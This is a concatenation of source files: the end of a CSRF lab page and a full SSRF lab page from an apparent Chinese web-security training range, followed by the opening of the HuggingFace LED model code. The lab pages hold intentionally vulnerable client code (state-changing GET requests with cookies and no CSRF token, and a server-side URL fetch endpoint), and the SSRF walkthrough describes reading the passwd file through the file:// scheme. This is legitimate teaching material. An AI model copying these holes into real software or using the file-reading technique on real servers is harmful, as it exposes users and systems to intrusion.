<ul style="margin-bottom: 0;"><li>在使用Cookie进行身份判断时,未对referer信息进行验证,未添加防止CSRF的Token,且没有设置HttpOnly标志:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-1.html" width="100%" height="605px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-1.html" width="100%" height="1900px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("CSRF跨站请求伪造", ["CSRF"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
function doLogin(){
let data = {
username: $("#username")[0].value,
password: $("#password")[0].value,
}
$.post({
url: `http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/csrf/l1/login`,
data,
dataType: "json",
success(resp){
if(resp["status"] === "200"){
$("#notice")[0].innerHTML = generateNote("登录成功!欢迎, " + resp["username"]);
setCookie('token', resp['token'], 1); // 假设我们设置cookie有效期为1天
fetchUserInfoData();
} else if(resp["status"] === "405"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
} else if(resp["status"] === "401"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
}
},
error: function(jqXHR, textStatus, errorThrown) {
// 添加错误处理
$("#notice")[0].innerHTML = generateNote("发生错误:" + textStatus + ", " + errorThrown);
}
})
}
function setCookie(name, value, days) {
var expires = "";
if (days) {
var date = new Date();
date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
expires = "; expires=" + date.toUTCString();
}
document.cookie = name + "=" + (value || "") + expires + "; path=/";
}
function fetchUserInfoData() {
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/csrf/l1/getUserinfo',
type: 'GET',
xhrFields: {
withCredentials: true // 确保请求时携带cookie
},
success: function(response) {
if (response.status === "403") {
$("#notice")[0].innerHTML = generateNote("Token过期或错误,请重新登录");
} else if (response.status === "200") {
$("#LoginT").hide();
$("#Login").hide();
populateUserTable(response.msg);
}
},
error: function() {
$("#notice")[0].innerHTML = generateNote("数据获取失败,请稍后重试");
}
});
}
function populateUserTable(data) {
$("#UserInfoTitle").show();
$("#UserInfo").show();
var userData = data[0];
// 填充用户数据到表单中
$("#displayPid").val(userData.PID); // 工号
$("#displayUsername").val(userData.USERNAME); // 用户名
$("#displayPhone").val(userData.PHONE); // 手机号
$("#displayQQ").val(userData.QQ); // QQ号
}
function updateUserInfo() {
// 从输入字段中收集数据
let updatedData = {
phone: $("#displayPhone").val(),
qq: $("#displayQQ").val()
};
$.ajax({
type: 'GET',
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/csrf/l1/modifyUserInfo', // 修改为您的API端点
data: updatedData, // 发送更新的用户信息
xhrFields: {
withCredentials: true // 确保请求时携带cookie
},
success: function(response) {
// 根据返回的状态处理响应
if (response.status === "200") {
$(document).Toasts('create', {
class: 'bg-success',
title: 'SUCCESS',
autohide: true,
delay: 4000,
body: '修改成功!'
});
fetchUserInfoData();
} else if (response.status === "403" || response.status === "400") {
$(document).Toasts('create', {
class: 'bg-warning',
title: 'WARNING',
autohide: true,
delay: 4000,
body: '权限认证失败或权限不足,请重新登录!'
});
} else {
$(document).Toasts('create', {
class: 'bg-danger',
title: 'ERROR',
autohide: true,
delay: 4000,
body: ' 修改失败,请稍后重试…… '
});
}
},
error: function() {
$(document).Toasts('create', {
class: 'bg-danger',
title: 'ERROR',
autohide: true,
delay: 4000,
body: ' 修改失败,请稍后重试…… '
});
}
});
}
// 在文档加载完毕后绑定按钮点击事件
$(document).ready(function() {
// 绑定更新按钮的点击事件
$("#updateUserInfoButton").click(function() {
updateUserInfo(); // 调用更新用户信息的函数
});
});
function logout() {
// 清空表单输入
$("#username").val('');
$("#password").val('');
// 显示登录表单
$("#LoginT").show();
$("#Login").show();
// 隐藏用户信息表单
$("#UserInfo").hide();
$("#UserInfoTitle").hide();
// 清除通知
$("#notice").html('');
}
// 在文档加载完毕后绑定注销按钮的点击事件
$(document).ready(function() {
// 绑定确认修改按钮的点击事件
$("#updateUserInfoButton").click(function() {
updateUserInfo();
});
// 绑定注销按钮的点击事件
$("#logoutButton").click(function() {
logout();
});
});
</script>
</body>
</html> |
2740908911/Pilot-Web | 5,151 | pilot-client/pages/ssrf/ssrf.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>SSRF-SSRF远程解析</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>SSRF远程解析</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<blockquote>
<a href="#" onclick="fetchAndDisplayText(event)">
留给初学者的一段话:
</a>
</blockquote>
<pre id="info1" style="display: none; font-size: 20px;">
</pre>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>SSRF与URL重定向有异曲同工之妙,但你真的能分清吗?</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>进入漏洞页面后,抓包,并点击链接</span><strong><span>留给初学者的一段话</span></strong><span>:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-1.png" referrerpolicy="no-referrer" alt="l1-1"></div></p></li><li><p><span>发现请求了其他网页的文件内容,并展示在前端页面:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-2.png" referrerpolicy="no-referrer" alt="l1-2"></div></p></li><li><p><span>修改请求连接的参数</span><code>url</code><span>,尝试使用</span><code>file://</code><span>伪协议读取本地文件内容:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-3.png" referrerpolicy="no-referrer" alt="l1-3"></div></p></li><li><p><span>成功读取passwd文件。注意,这里只开放了</span><code>file/http/https</code><span>协议。</span></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>在接受前端传来的链接时,未对URL地址过滤内网地址,同时也未禁止使用file伪协议读取文件:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-1.html" width="100%" height="715px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-1.html" width="100%" height="3890px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("SSRF服务器端请求伪造", ["SSRF远程解析"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
function fetchAndDisplayText(event) {
event.preventDefault(); // 阻止链接的默认行为
const url = "http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/ssrf/l1/getinfo?url=http://{ENV:NET_IP}:{ENV:NGINX_PORT}/pages/ssrf/ssrf_info.html";
fetch(url)
.then(response => response.text()) // 将响应转换为文本
.then(text => {
const targetElement = document.querySelector('#info1');
targetElement.innerHTML = text; // 插入文本
targetElement.style.display = 'block';
})
.catch(error => console.error('Error:', error));
}
</script>
</body>
</html>
|
27182812/ChatGLM-LLaMA-chinese-insturct | 140,078 | src/transformers/models/led/modeling_led.py | # coding=utf-8
# Copyright 2021 Iz Beltagy, Matthew E. Peters, Arman Cohan and The HuggingFace Inc. team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
""" PyTorch LED model."""
import math
import random
import warnings
from dataclasses import dataclass
from typing import List, Optional, Tuple, Union
import torch
import torch.utils.checkpoint
from torch import nn
from torch.nn import BCEWithLogitsLoss, CrossEntropyLoss, MSELoss
from ...activations import ACT2FN
from ...modeling_outputs import (
BaseModelOutputWithPastAndCrossAttentions,
Seq2SeqLMOutput,
Seq2SeqModelOutput,
Seq2SeqQuestionAnsweringModelOutput,
Seq2SeqSequenceClassifierOutput,
)
from ...modeling_utils import PreTrainedModel
from ...utils import (
ModelOutput,
add_code_sample_docstrings,
add_end_docstrings,
add_start_docstrings,
add_start_docstrings_to_model_forward,
logging,
replace_return_docstrings,
)
from .configuration_led import LEDConfig
logger = logging.get_logger(__name__)
_CHECKPOINT_FOR_DOC = "allenai/led-base-16384"
_CONFIG_FOR_DOC = "LEDConfig"
LED_PRETRAINED_MODEL_ARCHIVE_LIST = [
"allenai/led-base-16384",
# See all LED models at https://huggingface.co/models?filter=led
]
def shift_tokens_right(input_ids: torch.Tensor, pad_token_id: int, decoder_start_token_id: int):
"""
Shift input ids one token to the right.
"""
shifted_input_ids = input_ids.new_zeros(input_ids.shape)
shifted_input_ids[:, 1:] = input_ids[:, :-1].clone()
shifted_input_ids[:, 0] = decoder_start_token_id
if pad_token_id is None:
raise ValueError("config.pad_token_id has to be defined.")
# replace possible -100 values in labels by `pad_token_id`
shifted_input_ids.masked_fill_(shifted_input_ids == -100, pad_token_id)
return shifted_input_ids
def _make_causal_mask(input_ids_shape: torch.Size, dtype: torch.dtype, past_key_values_length: int = 0):
"""
Make causal mask used for bi-directional self-attention.
"""
bsz, tgt_len = input_ids_shape
mask = torch.full((tgt_len, tgt_len), torch.tensor(torch.finfo(dtype).min))
mask_cond = torch.arange(mask.size(-1))
mask.masked_fill_(mask_cond < (mask_cond + 1).view(mask.size(-1), 1), 0)
mask = mask.to(dtype)
if past_key_values_length > 0:
mask = torch.cat([torch.zeros(tgt_len, past_key_values_length, dtype=dtype), mask], dim=-1)
return mask[None, None, :, :].expand(bsz, 1, tgt_len, tgt_len + past_key_values_length)
def _expand_mask(mask: torch.Tensor, dtype: torch.dtype, tgt_len: Optional[int] = None):
"""
Expands attention_mask from `[bsz, seq_len]` to `[bsz, 1, tgt_seq_len, src_seq_len]`.
"""
bsz, src_len = mask.size()
tgt_len = tgt_len if tgt_len is not None else src_len
expanded_mask = mask[:, None, None, :].expand(bsz, 1, tgt_len, src_len).to(dtype)
inverted_mask = 1.0 - expanded_mask
expanded_attention_mask = inverted_mask.masked_fill(inverted_mask.bool(), torch.finfo(dtype).min)
# make sure that global_attn_mask is positive
expanded_attention_mask = expanded_attention_mask * inverted_mask
return expanded_attention_mask
class LEDLearnedPositionalEmbedding(nn.Embedding):
"""
This module learns positional embeddings up to a fixed maximum size.
"""
def __init__(self, num_embeddings: int, embedding_dim: int):
super().__init__(num_embeddings, embedding_dim)
def forward(self, input_ids_shape: torch.Size, past_key_values_length: int = 0):
"""`input_ids_shape` is expected to be [bsz x seqlen]."""
bsz, seq_len = input_ids_shape[:2]
positions = torch.arange(
past_key_values_length, past_key_values_length + seq_len, dtype=torch.long, device=self.weight.device
)
return super().forward(positions)
# Copied from transformers.models.longformer.modeling_longformer.LongformerSelfAttention with Longformer->LEDEncoder
class LEDEncoderSelfAttention(nn.Module):
def __init__(self, config, layer_id):
super().__init__()
if config.hidden_size % config.num_attention_heads != 0:
raise ValueError(
f"The hidden size ({config.hidden_size}) is not a multiple of the number of attention "
f"heads ({config.num_attention_heads})"
)
self.num_heads = config.num_attention_heads
self.head_dim = int(config.hidden_size / config.num_attention_heads)
self.embed_dim = config.hidden_size
self.query = nn.Linear(config.hidden_size, self.embed_dim)
self.key = nn.Linear(config.hidden_size, self.embed_dim)
self.value = nn.Linear(config.hidden_size, self.embed_dim)
# separate projection layers for tokens with global attention
self.query_global = nn.Linear(config.hidden_size, self.embed_dim)
self.key_global = nn.Linear(config.hidden_size, self.embed_dim)
self.value_global = nn.Linear(config.hidden_size, self.embed_dim)
self.dropout = config.attention_probs_dropout_prob
self.layer_id = layer_id
attention_window = config.attention_window[self.layer_id]
assert (
attention_window % 2 == 0
), f"`attention_window` for layer {self.layer_id} has to be an even value. Given {attention_window}"
assert (
attention_window > 0
), f"`attention_window` for layer {self.layer_id} has to be positive. Given {attention_window}"
self.one_sided_attn_window_size = attention_window // 2
self.config = config
def forward(
self,
hidden_states,
attention_mask=None,
layer_head_mask=None,
is_index_masked=None,
is_index_global_attn=None,
is_global_attn=None,
output_attentions=False,
):
"""
[`LEDEncoderSelfAttention`] expects *len(hidden_states)* to be multiple of *attention_window*. Padding to
*attention_window* happens in [`LEDEncoderModel.forward`] to avoid redoing the padding on each layer.
The *attention_mask* is changed in [`LEDEncoderModel.forward`] from 0, 1, 2 to:
- -10000: no attention
- 0: local attention
- +10000: global attention
"""
hidden_states = hidden_states.transpose(0, 1)
# project hidden states
query_vectors = self.query(hidden_states)
key_vectors = self.key(hidden_states)
value_vectors = self.value(hidden_states)
seq_len, batch_size, embed_dim = hidden_states.size()
assert (
embed_dim == self.embed_dim
), f"hidden_states should have embed_dim = {self.embed_dim}, but has {embed_dim}"
# normalize query
query_vectors /= math.sqrt(self.head_dim)
query_vectors = query_vectors.view(seq_len, batch_size, self.num_heads, self.head_dim).transpose(0, 1)
key_vectors = key_vectors.view(seq_len, batch_size, self.num_heads, self.head_dim).transpose(0, 1)
attn_scores = self._sliding_chunks_query_key_matmul(
query_vectors, key_vectors, self.one_sided_attn_window_size
)
# values to pad for attention probs
remove_from_windowed_attention_mask = (attention_mask != 0)[:, :, None, None]
# cast to fp32/fp16 then replace 1's with -inf
float_mask = remove_from_windowed_attention_mask.type_as(query_vectors).masked_fill(
remove_from_windowed_attention_mask, torch.finfo(query_vectors.dtype).min
)
# diagonal mask with zeros everywhere and -inf inplace of padding
diagonal_mask = self._sliding_chunks_query_key_matmul(
float_mask.new_ones(size=float_mask.size()), float_mask, self.one_sided_attn_window_size
)
# pad local attention probs
attn_scores += diagonal_mask
assert list(attn_scores.size()) == [
batch_size,
seq_len,
self.num_heads,
self.one_sided_attn_window_size * 2 + 1,
], (
f"local_attn_probs should be of size ({batch_size}, {seq_len}, {self.num_heads},"
f" {self.one_sided_attn_window_size * 2 + 1}), but is of size {attn_scores.size()}"
)
# compute local attention probs from global attention keys and contact over window dim
if is_global_attn:
# compute global attn indices required through out forward fn
(
max_num_global_attn_indices,
is_index_global_attn_nonzero,
is_local_index_global_attn_nonzero,
is_local_index_no_global_attn_nonzero,
) = self._get_global_attn_indices(is_index_global_attn)
# calculate global attn probs from global key
global_key_attn_scores = self._concat_with_global_key_attn_probs(
query_vectors=query_vectors,
key_vectors=key_vectors,
max_num_global_attn_indices=max_num_global_attn_indices,
is_index_global_attn_nonzero=is_index_global_attn_nonzero,
is_local_index_global_attn_nonzero=is_local_index_global_attn_nonzero,
is_local_index_no_global_attn_nonzero=is_local_index_no_global_attn_nonzero,
)
# concat to local_attn_probs
# (batch_size, seq_len, num_heads, extra attention count + 2*window+1)
attn_scores = torch.cat((global_key_attn_scores, attn_scores), dim=-1)
# free memory
del global_key_attn_scores
attn_probs = nn.functional.softmax(
attn_scores, dim=-1, dtype=torch.float32
) # use fp32 for numerical stability
if layer_head_mask is not None:
assert layer_head_mask.size() == (
self.num_heads,
), f"Head mask for a single layer should be of size {(self.num_heads,)}, but is {layer_head_mask.size()}"
attn_probs = layer_head_mask.view(1, 1, -1, 1) * attn_probs
# softmax sometimes inserts NaN if all positions are masked, replace them with 0
attn_probs = torch.masked_fill(attn_probs, is_index_masked[:, :, None, None], 0.0)
attn_probs = attn_probs.type_as(attn_scores)
# free memory
del attn_scores
# apply dropout
attn_probs = nn.functional.dropout(attn_probs, p=self.dropout, training=self.training)
value_vectors = value_vectors.view(seq_len, batch_size, self.num_heads, self.head_dim).transpose(0, 1)
# compute local attention output with global attention value and add
if is_global_attn:
# compute sum of global and local attn
attn_output = self._compute_attn_output_with_global_indices(
value_vectors=value_vectors,
attn_probs=attn_probs,
max_num_global_attn_indices=max_num_global_attn_indices,
is_index_global_attn_nonzero=is_index_global_attn_nonzero,
is_local_index_global_attn_nonzero=is_local_index_global_attn_nonzero,
)
else:
# compute local attn only
attn_output = self._sliding_chunks_matmul_attn_probs_value(
attn_probs, value_vectors, self.one_sided_attn_window_size
)
assert attn_output.size() == (batch_size, seq_len, self.num_heads, self.head_dim), "Unexpected size"
attn_output = attn_output.transpose(0, 1).reshape(seq_len, batch_size, embed_dim).contiguous()
# compute value for global attention and overwrite to attention output
# TODO: remove the redundant computation
if is_global_attn:
global_attn_output, global_attn_probs = self._compute_global_attn_output_from_hidden(
hidden_states=hidden_states,
max_num_global_attn_indices=max_num_global_attn_indices,
layer_head_mask=layer_head_mask,
is_local_index_global_attn_nonzero=is_local_index_global_attn_nonzero,
is_index_global_attn_nonzero=is_index_global_attn_nonzero,
is_local_index_no_global_attn_nonzero=is_local_index_no_global_attn_nonzero,
is_index_masked=is_index_masked,
)
# get only non zero global attn output
nonzero_global_attn_output = global_attn_output[
is_local_index_global_attn_nonzero[0], :, is_local_index_global_attn_nonzero[1]
]
# overwrite values with global attention
attn_output[is_index_global_attn_nonzero[::-1]] = nonzero_global_attn_output.view(
len(is_local_index_global_attn_nonzero[0]), -1
)
# The attention weights for tokens with global attention are
# just filler values, they were never used to compute the output.
# Fill with 0 now, the correct values are in 'global_attn_probs'.
attn_probs[is_index_global_attn_nonzero] = 0
outputs = (attn_output.transpose(0, 1),)
if output_attentions:
outputs += (attn_probs,)
return outputs + (global_attn_probs,) if (is_global_attn and output_attentions) else outputs
@staticmethod
def _pad_and_transpose_last_two_dims(hidden_states_padded, padding):
"""pads rows and then flips rows and columns"""
hidden_states_padded = nn.functional.pad(
hidden_states_padded, padding
) # padding value is not important because it will be overwritten
hidden_states_padded = hidden_states_padded.view(
*hidden_states_padded.size()[:-2], hidden_states_padded.size(-1), hidden_states_padded.size(-2)
)
return hidden_states_padded
@staticmethod
def _pad_and_diagonalize(chunked_hidden_states):
"""
shift every row 1 step right, converting columns into diagonals.
Example:
```python
chunked_hidden_states: [
0.4983,
2.6918,
-0.0071,
1.0492,
-1.8348,
0.7672,
0.2986,
0.0285,
-0.7584,
0.4206,
-0.0405,
0.1599,
2.0514,
-1.1600,
0.5372,
0.2629,
]
window_overlap = num_rows = 4
```
(pad & diagonalize) => [ 0.4983, 2.6918, -0.0071, 1.0492, 0.0000, 0.0000, 0.0000
0.0000, -1.8348, 0.7672, 0.2986, 0.0285, 0.0000, 0.0000 0.0000, 0.0000, -0.7584, 0.4206,
-0.0405, 0.1599, 0.0000 0.0000, 0.0000, 0.0000, 2.0514, -1.1600, 0.5372, 0.2629 ]
"""
total_num_heads, num_chunks, window_overlap, hidden_dim = chunked_hidden_states.size()
chunked_hidden_states = nn.functional.pad(
chunked_hidden_states, (0, window_overlap + 1)
) # total_num_heads x num_chunks x window_overlap x (hidden_dim+window_overlap+1). Padding value is not important because it'll be overwritten
chunked_hidden_states = chunked_hidden_states.view(
total_num_heads, num_chunks, -1
) # total_num_heads x num_chunks x window_overlap*window_overlap+window_overlap
chunked_hidden_states = chunked_hidden_states[
:, :, :-window_overlap
] # total_num_heads x num_chunks x window_overlap*window_overlap
chunked_hidden_states = chunked_hidden_states.view(
total_num_heads, num_chunks, window_overlap, window_overlap + hidden_dim
)
chunked_hidden_states = chunked_hidden_states[:, :, :, :-1]
return chunked_hidden_states
@staticmethod
def _chunk(hidden_states, window_overlap, onnx_export: bool = False):
"""convert into overlapping chunks. Chunk size = 2w, overlap size = w"""
if not onnx_export:
# non-overlapping chunks of size = 2w
hidden_states = hidden_states.view(
hidden_states.size(0),
torch.div(hidden_states.size(1), (window_overlap * 2), rounding_mode="trunc"),
window_overlap * 2,
hidden_states.size(2),
)
# use `as_strided` to make the chunks overlap with an overlap size = window_overlap
chunk_size = list(hidden_states.size())
chunk_size[1] = chunk_size[1] * 2 - 1
chunk_stride = list(hidden_states.stride())
chunk_stride[1] = chunk_stride[1] // 2
return hidden_states.as_strided(size=chunk_size, stride=chunk_stride)
# When exporting to ONNX, use this separate logic
# have to use slow implementation since as_strided, unfold and 2d-tensor indexing aren't supported (yet) in ONNX export
# TODO replace this with
# > return hidden_states.unfold(dimension=1, size=window_overlap * 2, step=window_overlap).transpose(2, 3)
# once `unfold` is supported
# the case hidden_states.size(1) == window_overlap * 2 can also simply return hidden_states.unsqueeze(1), but that's control flow
chunk_size = [
hidden_states.size(0),
torch.div(hidden_states.size(1), window_overlap, rounding_mode="trunc") - 1,
window_overlap * 2,
hidden_states.size(2),
]
overlapping_chunks = torch.empty(chunk_size, device=hidden_states.device)
for chunk in range(chunk_size[1]):
overlapping_chunks[:, chunk, :, :] = hidden_states[
:, chunk * window_overlap : chunk * window_overlap + 2 * window_overlap, :
]
return overlapping_chunks
@staticmethod
def _mask_invalid_locations(input_tensor, affected_seq_len) -> torch.Tensor:
beginning_mask_2d = input_tensor.new_ones(affected_seq_len, affected_seq_len + 1).tril().flip(dims=[0])
beginning_mask = beginning_mask_2d[None, :, None, :]
ending_mask = beginning_mask.flip(dims=(1, 3))
beginning_input = input_tensor[:, :affected_seq_len, :, : affected_seq_len + 1]
beginning_mask = beginning_mask.expand(beginning_input.size())
input_tensor[:, :affected_seq_len, :, : affected_seq_len + 1] = torch.full_like(
beginning_input, -float("inf")
).where(beginning_mask.bool(), beginning_input)
ending_input = input_tensor[:, -affected_seq_len:, :, -(affected_seq_len + 1) :]
ending_mask = ending_mask.expand(ending_input.size())
input_tensor[:, -affected_seq_len:, :, -(affected_seq_len + 1) :] = torch.full_like(
ending_input, -float("inf")
).where(ending_mask.bool(), ending_input)
def _sliding_chunks_query_key_matmul(self, query: torch.Tensor, key: torch.Tensor, window_overlap: int):
"""
Matrix multiplication of query and key tensors using with a sliding window attention pattern. This
implementation splits the input into overlapping chunks of size 2w (e.g. 512 for pretrained LEDEncoder) with an
overlap of size window_overlap
"""
batch_size, seq_len, num_heads, head_dim = query.size()
assert (
seq_len % (window_overlap * 2) == 0
), f"Sequence length should be multiple of {window_overlap * 2}. Given {seq_len}"
assert query.size() == key.size()
chunks_count = torch.div(seq_len, window_overlap, rounding_mode="trunc") - 1
# group batch_size and num_heads dimensions into one, then chunk seq_len into chunks of size window_overlap * 2
query = query.transpose(1, 2).reshape(batch_size * num_heads, seq_len, head_dim)
key = key.transpose(1, 2).reshape(batch_size * num_heads, seq_len, head_dim)
query = self._chunk(query, window_overlap, getattr(self.config, "onnx_export", False))
key = self._chunk(key, window_overlap, getattr(self.config, "onnx_export", False))
# matrix multiplication
# bcxd: batch_size * num_heads x chunks x 2window_overlap x head_dim
# bcyd: batch_size * num_heads x chunks x 2window_overlap x head_dim
# bcxy: batch_size * num_heads x chunks x 2window_overlap x 2window_overlap
diagonal_chunked_attention_scores = torch.einsum("bcxd,bcyd->bcxy", (query, key)) # multiply
# convert diagonals into columns
diagonal_chunked_attention_scores = self._pad_and_transpose_last_two_dims(
diagonal_chunked_attention_scores, padding=(0, 0, 0, 1)
)
# allocate space for the overall attention matrix where the chunks are combined. The last dimension
# has (window_overlap * 2 + 1) columns. The first (window_overlap) columns are the window_overlap lower triangles (attention from a word to
# window_overlap previous words). The following column is attention score from each word to itself, then
# followed by window_overlap columns for the upper triangle.
diagonal_attention_scores = diagonal_chunked_attention_scores.new_zeros(
(batch_size * num_heads, chunks_count + 1, window_overlap, window_overlap * 2 + 1)
)
# copy parts from diagonal_chunked_attention_scores into the combined matrix of attentions
# - copying the main diagonal and the upper triangle
diagonal_attention_scores[:, :-1, :, window_overlap:] = diagonal_chunked_attention_scores[
:, :, :window_overlap, : window_overlap + 1
]
diagonal_attention_scores[:, -1, :, window_overlap:] = diagonal_chunked_attention_scores[
:, -1, window_overlap:, : window_overlap + 1
]
# - copying the lower triangle
diagonal_attention_scores[:, 1:, :, :window_overlap] = diagonal_chunked_attention_scores[
:, :, -(window_overlap + 1) : -1, window_overlap + 1 :
]
diagonal_attention_scores[:, 0, 1:window_overlap, 1:window_overlap] = diagonal_chunked_attention_scores[
:, 0, : window_overlap - 1, 1 - window_overlap :
]
# separate batch_size and num_heads dimensions again
diagonal_attention_scores = diagonal_attention_scores.view(
batch_size, num_heads, seq_len, 2 * window_overlap + 1
).transpose(2, 1)
self._mask_invalid_locations(diagonal_attention_scores, window_overlap)
return diagonal_attention_scores
def _sliding_chunks_matmul_attn_probs_value(
self, attn_probs: torch.Tensor, value: torch.Tensor, window_overlap: int
):
"""
Same as _sliding_chunks_query_key_matmul but for attn_probs and value tensors. Returned tensor will be of the
same shape as `attn_probs`
"""
batch_size, seq_len, num_heads, head_dim = value.size()
assert seq_len % (window_overlap * 2) == 0
assert attn_probs.size()[:3] == value.size()[:3]
assert attn_probs.size(3) == 2 * window_overlap + 1
chunks_count = torch.div(seq_len, window_overlap, rounding_mode="trunc") - 1
# group batch_size and num_heads dimensions into one, then chunk seq_len into chunks of size 2 window overlap
chunked_attn_probs = attn_probs.transpose(1, 2).reshape(
batch_size * num_heads,
torch.div(seq_len, window_overlap, rounding_mode="trunc"),
window_overlap,
2 * window_overlap + 1,
)
# group batch_size and num_heads dimensions into one
value = value.transpose(1, 2).reshape(batch_size * num_heads, seq_len, head_dim)
# pad seq_len with w at the beginning of the sequence and another window overlap at the end
padded_value = nn.functional.pad(value, (0, 0, window_overlap, window_overlap), value=-1)
# chunk padded_value into chunks of size 3 window overlap and an overlap of size window overlap
chunked_value_size = (batch_size * num_heads, chunks_count + 1, 3 * window_overlap, head_dim)
chunked_value_stride = padded_value.stride()
chunked_value_stride = (
chunked_value_stride[0],
window_overlap * chunked_value_stride[1],
chunked_value_stride[1],
chunked_value_stride[2],
)
chunked_value = padded_value.as_strided(size=chunked_value_size, stride=chunked_value_stride)
chunked_attn_probs = self._pad_and_diagonalize(chunked_attn_probs)
context = torch.einsum("bcwd,bcdh->bcwh", (chunked_attn_probs, chunked_value))
return context.view(batch_size, num_heads, seq_len, head_dim).transpose(1, 2)
@staticmethod
def _get_global_attn_indices(is_index_global_attn):
"""compute global attn indices required throughout forward pass"""
# helper variable
num_global_attn_indices = is_index_global_attn.long().sum(dim=1)
# max number of global attn indices in batch
max_num_global_attn_indices = num_global_attn_indices.max()
# indices of global attn
is_index_global_attn_nonzero = is_index_global_attn.nonzero(as_tuple=True)
# helper variable
is_local_index_global_attn = torch.arange(
max_num_global_attn_indices, device=is_index_global_attn.device
) < num_global_attn_indices.unsqueeze(dim=-1)
# location of the non-padding values within global attention indices
is_local_index_global_attn_nonzero = is_local_index_global_attn.nonzero(as_tuple=True)
# location of the padding values within global attention indices
is_local_index_no_global_attn_nonzero = (is_local_index_global_attn == 0).nonzero(as_tuple=True)
return (
max_num_global_attn_indices,
is_index_global_attn_nonzero,
is_local_index_global_attn_nonzero,
is_local_index_no_global_attn_nonzero,
)
def _concat_with_global_key_attn_probs(
self,
key_vectors,
query_vectors,
max_num_global_attn_indices,
is_index_global_attn_nonzero,
is_local_index_global_attn_nonzero,
is_local_index_no_global_attn_nonzero,
):
batch_size = key_vectors.shape[0]
# create only global key vectors
key_vectors_only_global = key_vectors.new_zeros(
batch_size, max_num_global_attn_indices, self.num_heads, self.head_dim
)
key_vectors_only_global[is_local_index_global_attn_nonzero] = key_vectors[is_index_global_attn_nonzero]
# (batch_size, seq_len, num_heads, max_num_global_attn_indices)
attn_probs_from_global_key = torch.einsum("blhd,bshd->blhs", (query_vectors, key_vectors_only_global))
# need to transpose since ONNX export only supports consecutive indexing: https://pytorch.org/docs/stable/onnx.html#writes-sets
attn_probs_from_global_key = attn_probs_from_global_key.transpose(1, 3)
attn_probs_from_global_key[
is_local_index_no_global_attn_nonzero[0], is_local_index_no_global_attn_nonzero[1], :, :
] = torch.finfo(attn_probs_from_global_key.dtype).min
attn_probs_from_global_key = attn_probs_from_global_key.transpose(1, 3)
return attn_probs_from_global_key
def _compute_attn_output_with_global_indices(
self,
value_vectors,
attn_probs,
max_num_global_attn_indices,
is_index_global_attn_nonzero,
